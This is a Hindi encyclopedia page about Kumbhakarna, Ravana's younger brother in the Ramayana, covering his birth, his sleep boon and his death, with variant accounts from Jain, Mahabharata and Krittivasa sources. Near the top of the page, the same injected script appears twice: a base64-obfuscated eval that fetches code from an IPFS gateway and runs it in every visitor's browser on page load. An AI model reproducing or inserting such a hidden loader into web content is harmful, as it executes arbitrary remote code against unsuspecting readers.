कुंभकर्ण

अद्‌भुत भारत की खोज
नेविगेशन पर जाएँ खोज पर जाएँ
गणराज्य इतिहास पर्यटन भूगोल विज्ञान कला साहित्य धर्म संस्कृति शब्दावली विश्वकोश भारतकोश

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

चित्र:Tranfer-icon.png यह लेख परिष्कृत रूप में भारतकोश पर बनाया जा चुका है। भारतकोश पर देखने के लिए यहाँ क्लिक करें

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

कुंभकर्ण रामायण का एक प्रमुख पात्र; रावण का कनिष्ठ भ्राता जिसका जन्म सुमाली नामक राक्षस की पुत्री कैकसी के गर्भ से हुआ था। अनुश्रुतियों के अनुसार, उसने जन्म लेते ही क्षुधित होकर अनेक प्राणियों को भक्षण कर डाला था। बचपन से ही वह अतिशय दुष्ट था। उसके अमित पराक्रम के कारण देवता सदैव भयभीत रहते थे। इसने इंद्र को पराजित करके स्वयं रावण को भी भयभीत कर दिया था। एक बार उसने तप करना आरंभ किया। उसकी तपस्या से संतुष्ट होकर जब ब्रह्मा उसे वर देने चले तो देवताओं ने उनसे अपनी चिंता व्यक्त की। तब ब्रह्मा ने सरस्वती को उसके पास भेजकर मति भ्रष्ट कर दिया और उसने सर्वदा निद्रा में अचेतन रहने का वर माँगा। जब रावण ने यह बात सुनी तो ब्रह्मा के पास गया और बहुत अनुनय किया। तब ब्रह्मा ने कहा कि कुंभकर्ण छह महीने तक सोता रहेगा और जागने पर एक ही बार भोजन किया करेगा। असमय निद्रा भंग होने पर उसकी मृत्यु अवश्यंभावी है। राम ने रावण को जब पराजित कर दिया तब कुंभकर्ण अपनी दीर्घ निद्रा में था। उस समय वह जगाया गया। उसने उठकर अंगद, हनुमान तथा सुग्रीव पर आक्रमण किया। अंत में राम ने इसके दोनों हाथ तथा मस्तक काट लिए। इसी के नाम पर कुंभकर्णी निद्रा प्रसिद्ध है।

जैन पुराणों में कुंभकर्ण को लंकापति सुमाली का पौत्र और रत्नश्रवा का पुत्र कहा गया है। महाभारत के अनुसार उसने पुष्पोत्कटा के गर्भ से जन्म लिया था और वह लक्ष्मण से युद्ध करते हुए मारा गया। कृत्तिवास रामायण में कुंभकर्ण की माता का नाम निकषा कहा गया है। उसका विवाह वैरोचन बलि की दौहित्री ब्रज्ज्वाला से हुआ था। कुंभ और निकुंभ उसके पुत्र थे।

टीका टिप्पणी और संदर्भ